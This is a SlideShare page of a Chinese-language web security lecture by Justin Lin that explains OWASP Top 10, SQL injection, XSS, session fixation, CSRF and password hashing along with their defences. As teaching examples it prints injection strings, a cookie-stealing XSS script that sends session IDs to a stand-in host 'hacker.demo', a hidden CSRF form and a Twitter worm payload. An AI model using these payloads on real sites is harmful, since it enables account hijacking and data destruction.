Submit Search
Upload
網站系統安全及資料保護設計認知 2019
•
44 likes
•
8,173 views
Justin Lin
Follow
網站系統安全及資料保護設計認知 2019 更新版
Read less
Read more
Technology
Report
Share
Report
Share
1 of 104
Download now
Download to read offline
Recommended
深入淺出 Web 容器 - Tomcat 原始碼分析
深入淺出 Web 容器 - Tomcat 原始碼分析
Justin Lin
개발자 이승우 이력서 (2016)
개발자 이승우 이력서 (2016)
SeungWoo Lee
Building the Game Server both API and Realtime via c#
Building the Game Server both API and Realtime via c#
Yoshifumi Kawai
今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみた
Kohei Tokunaga
Pythonの非同期処理を始める前に
Pythonの非同期処理を始める前に
koralle
わしわし的おすすめ .gitconfig 設定 (と見せかけて実はみんなのおすすめ .gitconfig 設定を教えてもらう魂胆) #広島Git 勉強会
わしわし的おすすめ .gitconfig 設定 (と見せかけて実はみんなのおすすめ .gitconfig 設定を教えてもらう魂胆) #広島Git 勉強会
Yukinori KITADAI
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
Shota Shinogi
Recommended
深入淺出 Web 容器 - Tomcat 原始碼分析
深入淺出 Web 容器 - Tomcat 原始碼分析
Justin Lin
개발자 이승우 이력서 (2016)
개발자 이승우 이력서 (2016)
SeungWoo Lee
Building the Game Server both API and Realtime via c#
Building the Game Server both API and Realtime via c#
Yoshifumi Kawai
今話題のいろいろなコンテナランタイムを比較してみた
今話題のいろいろなコンテナランタイムを比較してみた
Kohei Tokunaga
Pythonの非同期処理を始める前に
Pythonの非同期処理を始める前に
koralle
わしわし的おすすめ .gitconfig 設定 (と見せかけて実はみんなのおすすめ .gitconfig 設定を教えてもらう魂胆) #広島Git 勉強会
わしわし的おすすめ .gitconfig 設定 (と見せかけて実はみんなのおすすめ .gitconfig 設定を教えてもらう魂胆) #広島Git 勉強会
Yukinori KITADAI
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
Shota Shinogi
gRPC入門
gRPC入門
Kenjiro Kubota
商流物流金流.pdf
商流物流金流.pdf
Zenji Kanzaki
実践 NestJS
実践 NestJS
Ayumi Goto
[Container Runtime Meetup] runc & User Namespaces
[Container Runtime Meetup] runc & User Namespaces
Akihiro Suda
python-ptraceでプロセスメモリエディタっぽいことをしよう
python-ptraceでプロセスメモリエディタっぽいことをしよう
monochrojazz
Open Match Deep Dive
Open Match Deep Dive
Samir Hammoudi
WebAssemblyのWeb以外のことぜんぶ話す
WebAssemblyのWeb以外のことぜんぶ話す
Takaya Saeki
PHP7で変わること ——言語仕様とエンジンの改善ポイント
PHP7で変わること ——言語仕様とエンジンの改善ポイント
Yoshio Hanawa
OpenID Connect入門
OpenID Connect入門
土岐 孝平
すごーい!APIドキュメントを更新するだけでAPIが自動テストできちゃう!たのしー!
すごーい!APIドキュメントを更新するだけでAPIが自動テストできちゃう!たのしー!
dcubeio
C++でできる!OS自作入門
C++でできる!OS自作入門
uchan_nos
12 分くらいで知るLuaVM
12 分くらいで知るLuaVM
Yuki Tamura
Node.js入門
Node.js入門
俊夫 森
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
A AOKI
書籍向け汎用マークアップのあり方―Re:VIEWの開発を通して
書籍向け汎用マークアップのあり方―Re:VIEWの開発を通して
Kenshi Muto
決済サービスのSpring Bootのバージョンを2系に上げた話
決済サービスのSpring Bootのバージョンを2系に上げた話
Ryosuke Uchitate
Go 語言基礎簡介
Go 語言基礎簡介
Bo-Yi Wu
Perl ウェブ開発の中世〜CGI と Plack の間〜
Perl ウェブ開発の中世〜CGI と Plack の間〜
鉄次 尾形
フラットなPHPからフレームワークへ
フラットなPHPからフレームワークへ
Masao Maeda
Docker入門-基礎編 いまから始めるDocker管理【2nd Edition】
Docker入門-基礎編 いまから始めるDocker管理【2nd Edition】
Masahito Zembutsu
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知
Justin Lin
用戶端攻擊與防禦
用戶端攻擊與防禦
Taien Wang
More Related Content
What's hot
gRPC入門
gRPC入門
Kenjiro Kubota
商流物流金流.pdf
商流物流金流.pdf
Zenji Kanzaki
実践 NestJS
実践 NestJS
Ayumi Goto
[Container Runtime Meetup] runc & User Namespaces
[Container Runtime Meetup] runc & User Namespaces
Akihiro Suda
python-ptraceでプロセスメモリエディタっぽいことをしよう
python-ptraceでプロセスメモリエディタっぽいことをしよう
monochrojazz
Open Match Deep Dive
Open Match Deep Dive
Samir Hammoudi
WebAssemblyのWeb以外のことぜんぶ話す
WebAssemblyのWeb以外のことぜんぶ話す
Takaya Saeki
PHP7で変わること ——言語仕様とエンジンの改善ポイント
PHP7で変わること ——言語仕様とエンジンの改善ポイント
Yoshio Hanawa
OpenID Connect入門
OpenID Connect入門
土岐 孝平
すごーい!APIドキュメントを更新するだけでAPIが自動テストできちゃう!たのしー!
すごーい!APIドキュメントを更新するだけでAPIが自動テストできちゃう!たのしー!
dcubeio
C++でできる!OS自作入門
C++でできる!OS自作入門
uchan_nos
12 分くらいで知るLuaVM
12 分くらいで知るLuaVM
Yuki Tamura
Node.js入門
Node.js入門
俊夫 森
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
A AOKI
書籍向け汎用マークアップのあり方―Re:VIEWの開発を通して
書籍向け汎用マークアップのあり方―Re:VIEWの開発を通して
Kenshi Muto
決済サービスのSpring Bootのバージョンを2系に上げた話
決済サービスのSpring Bootのバージョンを2系に上げた話
Ryosuke Uchitate
Go 語言基礎簡介
Go 語言基礎簡介
Bo-Yi Wu
Perl ウェブ開発の中世〜CGI と Plack の間〜
Perl ウェブ開発の中世〜CGI と Plack の間〜
鉄次 尾形
フラットなPHPからフレームワークへ
フラットなPHPからフレームワークへ
Masao Maeda
Docker入門-基礎編 いまから始めるDocker管理【2nd Edition】
Docker入門-基礎編 いまから始めるDocker管理【2nd Edition】
Masahito Zembutsu
What's hot
(20)
gRPC入門
gRPC入門
商流物流金流.pdf
商流物流金流.pdf
実践 NestJS
実践 NestJS
[Container Runtime Meetup] runc & User Namespaces
[Container Runtime Meetup] runc & User Namespaces
python-ptraceでプロセスメモリエディタっぽいことをしよう
python-ptraceでプロセスメモリエディタっぽいことをしよう
Open Match Deep Dive
Open Match Deep Dive
WebAssemblyのWeb以外のことぜんぶ話す
WebAssemblyのWeb以外のことぜんぶ話す
PHP7で変わること ——言語仕様とエンジンの改善ポイント
PHP7で変わること ——言語仕様とエンジンの改善ポイント
OpenID Connect入門
OpenID Connect入門
すごーい!APIドキュメントを更新するだけでAPIが自動テストできちゃう!たのしー!
すごーい!APIドキュメントを更新するだけでAPIが自動テストできちゃう!たのしー!
C++でできる!OS自作入門
C++でできる!OS自作入門
12 分くらいで知るLuaVM
12 分くらいで知るLuaVM
Node.js入門
Node.js入門
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
書籍向け汎用マークアップのあり方―Re:VIEWの開発を通して
書籍向け汎用マークアップのあり方―Re:VIEWの開発を通して
決済サービスのSpring Bootのバージョンを2系に上げた話
決済サービスのSpring Bootのバージョンを2系に上げた話
Go 語言基礎簡介
Go 語言基礎簡介
Perl ウェブ開発の中世〜CGI と Plack の間〜
Perl ウェブ開発の中世〜CGI と Plack の間〜
フラットなPHPからフレームワークへ
フラットなPHPからフレームワークへ
Docker入門-基礎編 いまから始めるDocker管理【2nd Edition】
Docker入門-基礎編 いまから始めるDocker管理【2nd Edition】
Similar to 網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知
Justin Lin
用戶端攻擊與防禦
用戶端攻擊與防禦
Taien Wang
Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir Lab
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir Lab
伺服器端攻擊與防禦I
伺服器端攻擊與防禦I
Taien Wang
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
Timothy Chen
.NET Security Application/Web Development - Part II
.NET Security Application/Web Development - Part II
Chen-Tien Tsai
Cybozu.com的結構
Cybozu.com的結構
cybozutw
基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗
Taien Wang
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
Hacks in Taiwan (HITCON)
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
Orange Tsai
電腦網路 網路安全
電腦網路 網路安全
bruce761207
網路安全
網路安全
bruce761207
Internet Security
Internet Security
bruce761207
網路安全
網路安全
bruce761207
网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert
ph4nt0m
Web security
Web security
逸于 張
Session1(更新20230205).pdf
Session1(更新20230205).pdf
ssuser9026c8
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir Lab
使安全成為軟體開發必要部分
使安全成為軟體開發必要部分
Taien Wang
Similar to 網站系統安全及資料保護設計認知 2019
(20)
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知
用戶端攻擊與防禦
用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
伺服器端攻擊與防禦I
伺服器端攻擊與防禦I
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
.NET Security Application/Web Development - Part II
.NET Security Application/Web Development - Part II
Cybozu.com的結構
Cybozu.com的結構
基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
電腦網路 網路安全
電腦網路 網路安全
網路安全
網路安全
Internet Security
Internet Security
網路安全
網路安全
网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert
Web security
Web security
Session1(更新20230205).pdf
Session1(更新20230205).pdf
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分
使安全成為軟體開發必要部分
使安全成為軟體開發必要部分
More from Justin Lin
Ch14 簡介 Spring Boot
Ch14 簡介 Spring Boot
Justin Lin
Ch13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/Security
Justin Lin
Ch12 Spring 起步走
Ch12 Spring 起步走
Justin Lin
Ch11 簡介 JavaMail
Ch11 簡介 JavaMail
Justin Lin
Ch10 Web 容器安全管理
Ch10 Web 容器安全管理
Justin Lin
Ch09 整合資料庫
Ch09 整合資料庫
Justin Lin
Ch08 自訂標籤
Ch08 自訂標籤
Justin Lin
Ch07 使用 JSTL
Ch07 使用 JSTL
Justin Lin
Ch06 使用 JSP
Ch06 使用 JSP
Justin Lin
Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器
Justin Lin
Ch04 會話管理
Ch04 會話管理
Justin Lin
Ch03 請求與回應
Ch03 請求與回應
Justin Lin
Ch02 撰寫與設定 Servlet
Ch02 撰寫與設定 Servlet
Justin Lin
CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式
Justin Lin
14. 進階主題
14. 進階主題
Justin Lin
13.並行、平行與非同步
13.並行、平行與非同步
Justin Lin
12. 除錯、測試與效能
12. 除錯、測試與效能
Justin Lin
11. 常用內建模組
11. 常用內建模組
Justin Lin
10. 資料永續與交換
10. 資料永續與交換
Justin Lin
9. 資料結構
9. 資料結構
Justin Lin
More from Justin Lin
(20)
Ch14 簡介 Spring Boot
Ch14 簡介 Spring Boot
Ch13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/Security
Ch12 Spring 起步走
Ch12 Spring 起步走
Ch11 簡介 JavaMail
Ch11 簡介 JavaMail
Ch10 Web 容器安全管理
Ch10 Web 容器安全管理
Ch09 整合資料庫
Ch09 整合資料庫
Ch08 自訂標籤
Ch08 自訂標籤
Ch07 使用 JSTL
Ch07 使用 JSTL
Ch06 使用 JSP
Ch06 使用 JSP
Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器
Ch04 會話管理
Ch04 會話管理
Ch03 請求與回應
Ch03 請求與回應
Ch02 撰寫與設定 Servlet
Ch02 撰寫與設定 Servlet
CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式
14. 進階主題
14. 進階主題
13.並行、平行與非同步
13.並行、平行與非同步
12. 除錯、測試與效能
12. 除錯、測試與效能
11. 常用內建模組
11. 常用內建模組
10. 資料永續與交換
10. 資料永續與交換
9. 資料結構
9. 資料結構
網站系統安全及資料保護設計認知 2019
1.
林信良 caterpillar@openhome.cc openhome.cc 網站系統安全及資料保護設計認知 1
2.
接下來… • 網站系統安全及資料保護設計認知(一) – 資料(訊)保護重要性 –
認識 OWASP TOP 10 – SQL 注入(SQL Injection) – 跨網站指令碼(XSS) – Session 管理與安全 2
3.
• 網站系統安全及資料保護設計認知(二) – 密碼管理 –
跨網站冒名請求(CSRF) – 再看 XSS – 更多資源 3
4.
資料(訊)保護重要性 4
5.
www.zhihu.com/question/59788971/answer/169187187 5
6.
為何重要? • 經濟上的損失 news.ltn.com.tw/news/life/paper/1104829 6
7.
為何重要? • 法律上的要求 news.ltn.com.tw/news/politics/paper/389561 7
8.
• 重大負面影響 – 政策 –
商譽 – … www.ithome.com.tw/tech/90726 8
9.
為何重要? • 無法彌補的傷害 www.cw.com.tw/article/article.action?id=5079112 9
10.
被忽略的安全 • 軟體品質 • 軟體開發 •
專責部門 • 專責人員 • 專門工具 • 安全教育 10
11.
• 通用漏洞披露 • 始於
1999 • 收集特定軟體漏洞並編號 CVE-YYYY- NNNN – OpenSSL 'Heartbleed' vulnerability (CVE- 2014-0160) – CPU 推測執行(speculative execution)漏洞 衍生的變種(CVE-2017-5753、CVE-2017-5715、 CVE-2017-5754) 11 cve.mitre.org CVE 資料庫
12.
• 通用軟體弱點 • 始於
2005 • What is the difference between a software vulnerability and software weakness? 12 cwe.mitre.org Software weaknesses are errors that can lead to software vulnerabilities. CWE 資料庫
13.
OWASP • 始於 2001 •
研議協助解決網路軟體安全之標準、工具 與技術文件 • OWASP TOP 10 為其中計畫之一 13 www.owasp.org
14.
OWASP TOP 10 •
2002 年發起,針對 Web 應用程式最重大、 嚴重的十大弱點進行排名 • 首次 OWASP Top 10 於 2003 發布 • 2004 做了更新,之後每三年改版一次 • 最新正式版本為 OWASP Top 10 2017 14 www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
15.
15 github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010%2 0-%202017%20RC1-English.pdf
16.
OWASP ESAPI • OWASP
Enterprise Security API 16 www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
17.
• Injection 攻擊 –
SQL Injection – XML Injection – LDAP Injection – Code Injection 17
18.
SQL 注入(SQL Injection) 18
19.
19 名稱: 密碼: caterpillar 123456
20.
20 名稱: 密碼: caterpillar ' OR '1'='1
21.
21 Robert'); DROP TABLE
STUDENTS; -- Derper
22.
SQL Injection 危害 •
迴避認證 • 竊取資料 • 改寫資料庫內容 • 讀寫伺服器上的檔案、執行程式 • … 22
23.
23
24.
SQL Injection 防範 •
避免串接字串方式建立 SQL 24 Java Python
25.
• 留意串接字串的變體 25 Python
26.
• Escape 特殊字元 –
(ESAPI.encoder().encodeForSQL()) • 輸入驗證(伺服端) – 黑名單(Black List) – 白名單(White List) 26 SQL Injection 防範
27.
跨網站指令碼(XSS) 27
28.
• 變化形式 – Reflected
XSS(First-order XSS) – Stored/Persistent XSS(Second-order XSS) – DOM-based/Local XSS • 危害 – 會話劫奪(Session hijacking) – 釣魚(Phishing) – XSS 蠕蟲 – … 28 2010 Twitter
29.
Session hijacking • 某網站搜尋功能回送查詢字串 29 Could
not find any documents including "foo" Search foo http://xss.demo/search?keyword=foo
30.
30 <b>foo</b>Search http://xss.demo/search?keyword=<b>foo</b> Could not find
any documents including "<b>foo</b>" http://xss.demo/search?keyword=<b>foo</b>
31.
31 <script language='javascript'>document.write(document.cookie)</script> Search Could not find
any documents including "<script language='javascript'>document.write(document.cookie)</script>" http://xss.demo/search?keyword=Could not find any documents including "<script … SESSION ID
32.
32 <script language='javascript'>document.write('<img src="http://hacker.demo/collect?sid=' +
document.cookie + '">');</script> http://xss.demo/search?keyword= <script language='javascript'> document.write('<img src="http://hacker.demo/collect?sid=' + document.cookie + '">'); </script>
33.
33 http://xss.demo/search?keyword=<script language='javascript'>document.write('<img src="http://hacker.demo/collect?sid=' + document.cookie +
'">');</script> http://xss.demo/search?keyword=%3Cscript%20langua ge%3D'javascript'%3Edocument.write('%3Cimg%20src %3D%22http%3A%2F%2Fhacker.demo%2Fcollect%3Fsi d%3D'%20%2B%20document.cookie%20%2B%20'%22 %3E')%3B%3C%2Fscript%3E URL Encoding
34.
34 <a href ="http://xss.demo/search?keyword=%3Cscript%20language%3D'j avascript'%3Edocument.write('%3Cimg%20src%3D%22http%3A% 2F%2Fhacker.demo%2Fcollect%3Fsid%3D'%20%2B%20document. cookie%20%2B%20‘%22%3E')%3B%3C%2Fscript%3E">美女走光 圖^o^</a> http://site.demo/share 美女走光圖^o^
35.
35 http://xss.demo/search?keyword=%3Cscript%20language%3D'javascript'%3Edocument. 晚來一步…圖被刪了…
36.
Reflected XSS 36 xss.demo hacker.demo 美女走光圖^o^ http://site.demo/share 1. 按下鏈結 2.
查詢 3. 傳回結果 4. 傳送 session id
37.
現代瀏覽器的安全 37
38.
XSS 基本防範 • 強化輸入驗證 –
黑名單 – 白名單 – (ESAPI.validator()) – (OWASP Java HTML Sanitizer) • 對輸出進行編碼 – (ESAPI.encoder().encodeForURL()) – (OWASP Java Encoder Project) 38
39.
Session ID? • 被拿走了又如何? •
HTTP 會話基本原理 – 每個請求對伺服器來說都是新的訪客請求 – 每次請求時主動告知伺服器必要的資訊 39
40.
使用隱藏欄位 40
41.
也不一定要放在隱藏欄位裏 放在 JavaScript 裏也行 有人就是會放不該放的東西 41
42.
42
43.
使用Cookie 43
44.
• 設定 Cookie •
取得 Cookie 44
45.
危險的範例 45
46.
危險的範例 46
47.
使用URL重寫 47
48.
48
49.
(Http)Session API 49
50.
50
51.
51
52.
Session Fixation 攻擊 •
誘使受害者使用特定的 Session ID – Session ID 透過 URL 參數指定時容易被利用 52
53.
53 sidfix.demo 1. 取得 sid2.
放入鏈結 <a href="http://sidfix.demo/login;sid=8 51BB160B811634B03EDD08B60BFD 98D">美女走光圖</a> 美女走光圖^o^ 3. 點選鏈結 4. 喔?需要登入?沒問題! 5. Got it! Session Fixation
54.
Session 防範對策 • 不從
GET、POST 參數取得 Session Id? – Cookie 是可以偽照的 • 使用 HTTPS • 不將 Session ID 用於 URL – Referer 可能洩漏 Session ID • 不採用 Session ID 預設名稱 54
55.
Session 防範對策 • 設定
Session 之逾時 • 登入後重新產生 Session ID • 重要操作前進行二次驗證 • 正確設定 Cookie 的 Domain、Secure、 HttpOnly • (啟用伺服端軟體的 Session Fixation 自 動化保護機制) 55
56.
Session 錯亂? • 來自數個真實的案例 56 //
這是一個 Servlet 內部 private String name; private String passwd; @Override protected void doPost( HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { name = request.getParameter("name"); passwd = request.getParameter("passwd"); if(login(name, passwd)) { List data = query(name); ... } }
57.
57 安全的前題 在於 熟悉採用的技術
58.
密碼 58 這封信透露了哪些訊息?
59.
59 這句話透露了哪些訊息? www.setn.com/news.aspx?newsid=260280
60.
60 它的密碼是明碼?
61.
61
62.
明碼怎麼了? 62 unwire.hk/2012/07/13/statistics-of-450-000-leaked-yahoo-accounts/news/
63.
63 github.com/danielmiessler/SecLists/pull/155/c ommits/3cb941823b97124e1875552075b91c8 e0a6451f4
64.
使用雜湊函式 • SHA-1、MD5 64 kknews.cc/zh-tw/tech/aaxnrv.html
65.
65
66.
彩虹表(Rainbow Tables) • 雜湊值與明文之比對 66
67.
Secured Salted • 在密碼雜湊時加入鹽值(亂數) –
UUID 或其他夠長且唯一的亂數 – 每個使用者產生不同的鹽值 • 分別儲存鹽值與雜湊值 • (驗證時取得使用者輸入之密碼與儲存之 鹽值進行雜湊,然後與儲存之雜湊值比對) 67
68.
68 這句話透露了哪些訊息? www.setn.com/news.aspx?newsid=260280
69.
69
70.
暴力法 70www.teamsid.com/worst-passwords-of-2014/
71.
慢得剛好 • 現代的運算設備速度越來越快 • 讓破解過程變慢是防禦的一種策略 •
BCrypt、PBKDF2、SCRYPT • 不是祕密的祕密 71
72.
72
73.
預設密碼? 73 www.ithome.com.tw/news/111843
74.
密碼強度 74 • 傻瓜密碼 Out •
規則越少越好 • 字元與數字夾雜 • 長度越長越好
75.
社交工程 75 tw.voicetube.com/videos/20607
76.
HTTPS 76www.ithome.com.tw/news/115148
77.
77
78.
78 hackernoon.com/username-or-password-is-incorrect-is-bullshit-89985ca2be48
79.
79
80.
80
81.
跨網站冒名請求(CSRF) • Cross-site Request
Forgery • 使用者通過驗證且 Session 未過期 • 授權、存取控制設計不良 • 在使用者不知情下進行特定行為 – 修改密碼、轉帳、自動發文、加好友… 81 1. 登入網站 2. 刪除專案 http://webapp.com/project/1/destroy
82.
82 1. 寄送郵件 <img src="http://webapp.com/ project/1/destroy"> 2. 登入後發現有郵件通知 3.
觀看郵件,專案 Bye!
83.
GET 的錯? • GET
應用於等冪(Idempotent)操作 – 多次 GET 的結果應相同 – 不改變執行結果,通常不會改變伺服器狀態 • 使用 GET 確實降低了 CSRF 的難度 • 不過也可以透過 POST 來發動類似的請求 83
84.
84 <a href="http://www.harmless.com/" onclick=" var
f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://webapp.com/account/destroy'; f.submit(); return false;">好康在這裡</a> <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> 滑鼠略過圖也可以 … 利用一些 JavaScript 寫些 Ajax 請求,都有可能…
85.
CSRF 防範 • 重新認識
HTTP 請求方法 – https://openhome.cc/Gossip/Programmer/ HttpMethod.html • 使用 Request Token – 不少 Web 框架有內建 – OWASP CSRFGuard • 不依賴 Session Id 作為身份驗證 • 重要行為前要求重新認證與授權 85
86.
86 Django
87.
87
88.
CSRF 防範 • 重新認識
HTTP 請求方法 – openhome.cc/Gossip/Programmer/HttpMe thod.html • 使用 Request Token – 不少 Web 框架有內建 – OWASP CSRFGuard • 不依賴 Session Id 作為身份驗證 • 重要行為前要求重新認證與授權 • (OAuth 2?) 88
89.
再看 XSS • Reflected
XSS • Stored/Persistent XSS • DOM-based/Local XSS 89
90.
Samy • 2005 年
Samy 跟女友打賭他在 MySpace 上有很多粉絲,將他設成英雄(Hero)。 • Samy 寫了一隻 Stored/XSS 蠕蟲,因為散 播太快而導致 MySpace 當機 • Samy 當時被美國秘密警察逮捕,判三年緩 刑與 90 天的社區服務。 90
91.
91 www.ithome.com.tw/node/63493
92.
92 攻擊用的 JavaScript 會儲存在資料庫
93.
• 推文 • HTML 93 http://www.guardian.co.uk/technology
is the best! <a href="http://www.guardian.co.uk/technology" class="tweet-url web" rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!
94.
• 推文 • <a>
變成 94 <a href="http://a.no/@";onmouseover=";$('textarea:first').val (this.innerHTML);$('.status-update- form').submit();"class="modal-overlay"/ class="tweet-url web" rel="nofollow"> http://a.no/@";onmouseover=";$('textarea:first').val(this. innerHTML);$('.status-update- form').submit();"class="modal-overlay"/
95.
DOM-based XSS • 直接利用客戶端
JavaScript • (伺服端未參與其中的流程) 95 <html> <title>Welcome!</title>Hi <script> var pos = document.URL.indexOf("name=") + 5; document.write( document.URL.substring(pos,document.URL.length) ); </script> <br>Welcome to our system… </html>
96.
96 http://xss.demo/welcome?name=Justin 你想要的…
97.
97 http://xss.demo/welcome?name=<script>alert('XD');</script> 他想要的…
98.
改寫畫面 98 http://xss.demo/welcome?name=<script>document.getElementsByTagName("html")[ <script>document.getElementsByTagName("html")[0].innerHTML="Name: <input type='text'/><br>Password: <input
type='password'>";</script>
99.
99 blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
100.
其他(資源) • Understanding the
OWASP Top 10 Vulnerabilities • The OWASP Top Ten and ESAPI • Cookie & Session & CSRF • [Nodejs] Security: Broken Authentication • Ruby on Rails Security Guide • 駭客手法解析~你不能不知的資安問題!! 100
101.
101
102.
在漏洞被發現之後… 102
103.
在漏洞發生之前… • 軟體品質 • 開發流程 •
專責部門 • 專責人員 • 專門工具 • 安全教育 103
104.
Justin Lin caterpillar@openhome.cc openhome.cc Thanks 104
Download now